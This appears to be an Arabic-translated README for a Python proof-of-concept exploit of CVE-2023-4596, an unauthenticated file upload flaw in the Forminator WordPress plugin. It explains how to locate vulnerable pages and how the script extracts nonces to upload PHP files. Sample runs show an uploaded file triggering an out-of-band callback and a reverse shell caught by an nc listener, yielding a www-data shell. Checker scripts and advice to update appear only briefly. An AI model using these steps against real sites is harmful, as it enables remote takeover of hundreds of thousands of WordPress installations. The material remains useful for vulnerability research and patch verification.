
PoC Script for CVE-2023-4596, unauthenticated Remote Command Execution through arbitrary file uploads.
نص برهان PoC لثغرة CVE-2023-4596، تنفيذ أوامر عن بُعد غير موثَّق عبر رفع ملفات عشوائية.
فيديو استخدام النص البرهاني
قالب Nuclei
مقالة إخبارية
WordFence
NVD Nist
تم اكتشاف ثغرة حرجة في الإضافة Forminator لووردپريس، تمكن مهاجمًا غير موثَّق من رفع ملفات عشوائية إلى الخادم. كان البرهان المبدئي (PoC) مكتوبًا بشكل سيء، حيث شارك الباحث الأصلي بضع لقطات شاشة غير واضحة مع طلب يحتوي على كود غير موضح. لذا قمت بكتابة سكربت بلغة بايثون لتبسيط العملية وأتمتتها.
سبب الثغرة هو خطأ في عملية التحقق من أنواع الملفات. عند محاولة رفع تنسيق ملف محظور، مثل PHP، يتم توليد تنبيه يفيد بأن "امتداد الملف المرفوع غير مسموح به". ورغم هذا الإشعار، لا يتم حظر الملف المرفوع بل يتم رفعه بنجاح ويمكن الوصول إليه داخل مجلد /wp-content/uploads للموقع. يمكن أن تؤدي هذه الثغرة إلى تنفيذ أوامر عن بُعد.
Forminator نشط حاليًا على أكثر من 400,000 موقع، وبسبب بساطة الثغرة، من السهل جدًا السيطرة على أي موقع يستخدم Forminator مع تمكين رفع الملفات.
ابحث عن صفحة تستخدم Forminator بإصدار ≤1.24.6 مع وظيفة رفع ملفات على الصفحة. انسخ الرابط الكامل للصفحة التي تقوم برفع بيانات النشر (postdata) باستخدام Forminator، إذا تم تحديد النطاق فقط، فسيظهر خطأ. يمكنك استخدام interactsh أو Burp Collaborator لإنشاء رابط، ثم لصقه في الحقل المختار. بعد رفع ناجح، يجب أن يظهر طلب في interactsh أو burp خلال 5 ثوانٍ، مما يدل على أن الموقع معرض للثغرة.
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
Input out-of-band link: <input link>
[+] Sending payload to target
[+] Successful file upload!
Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/RefhnSzyQe.php
[+] Sending request to uploaded file...
[+] Successfully triggered the uploaded file!
[+] Check for an incoming request
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -v
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
[+] Vulnerable version found: 1.24.6
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -r
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
Enter IP address: <input IP>
Enter port: <input port>
[+] Sending payload to target
[+] Successful file upload!
Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/IXLTyDMTEg.php
[+] Sending request to uploaded file...
[-] Request timed out. This could be due to the server being unavailable or because you started an reverse shell
user@debian:~$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 127.0.0.1 52760
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
يحتاج السكربت فقط إلى عنوان URL كامل لصفحة تستخدم Forminator مع تمكين رفع الملفات، ورابط interactsh لتحديد ما إذا كان المثال معرضًا للثغرة. يتم إرسال الطلب الأول إلى الصفحة لاستخراج forminator_nonce و form_id، وهما قيمتان تختلفان لكل صفحة. بعد الحصول على هذه القيم، يتم إرسال طلب ثانٍ يستخدم هذه القيم المستخرجة، ويتم رفع ملف PHP. يستخدم ملف PHP رابط interactsh الذي قدمه المستخدم مسبقًا ويضيفه إلى السكربت. عند زيارة الصفحة التي يوجد بها ملف PHP، سيظهر طلب في interactsh يشير إلى أن الموقع معرض للثغرة.
يتم استخدام التعبيرات المنتظمة (Regex) لتقسيم URL إلى أجزاء تُستخدم لاحقًا في الطلب، وكذلك لتحديد إصدار Forminator الذي يُطبَع عند استخدام الوسيط -v. يعتمد موقع رفع الملف على السنة والشهر اللذين ترفع فيهما الملف. لذلك استخدمت datetime لتحديد الشهر والسنة الحاليين، وهو ما يُستخدم أيضًا لاحقًا لإرسال الطلب إلى موقع الملف المرفوع.
عند اختبار الثغرة، كنت أستخدم اسم ملف واحد، لكن بعد إرسال عدة ملفات، لاحظت أن أول ملف فقط هو الذي يعمل. لإصلاح ذلك، يتم استخدام سلسلة عشوائية لكل طلب.
[-] Could not extract forminator_nonce
يعمل هذا الاستغلال فقط عند تقديم رابط للصفحة المحددة التي تم فيها تمكين رفع الملفات باستخدام Forminator. عند تقديم رابط يحتوي فقط على النطاق أو صفحة لا تحتوي على رفع ملفات، يظهر خطأ. السبب هو أن السكربت يستخرج forminator_nonce من الرابط المقدم، وإذا كانت الصفحة لا تعمل بـ Forminator أو رفع الملفات، فلن يجد القيمة ولن يتمكن من استخدامها. يمكنك أيضًا التحقق بالبحث عن السلسلة "forminator-field-post-image-postdata" في كود المصدر للموقع. مثال على رابط كامل: http://127.0.0.1:8000/?p=7. يمكنك العثور على المشكلة كاملة هنا.
لقد أدرجت ملفين (checker.sh و checker.bat) في المستودع يفحصان المجلد الحالي والمجلدات الفرعية بحثًا عن أي ملفات ذات امتداد محظور. عند العثور عليها، سيتم عرضها. سبب وجود هذا السكربت هو أنه لكل شهر تم تثبيت الإضافة فيه، يتم إنشاء مجلد جديد، وقد يستغرق الفحص اليدوي لكل هذه المجلدات وقتًا طويلاً.
قم بالتحديث إلى أحدث إصدار
http://127.0.0.1:8000السكربت المقدم هو لأغراض تعليمية فقط، ولست مسؤولاً عن أفعالك.
تويتر
صنع بواسطة Finn van der Knaap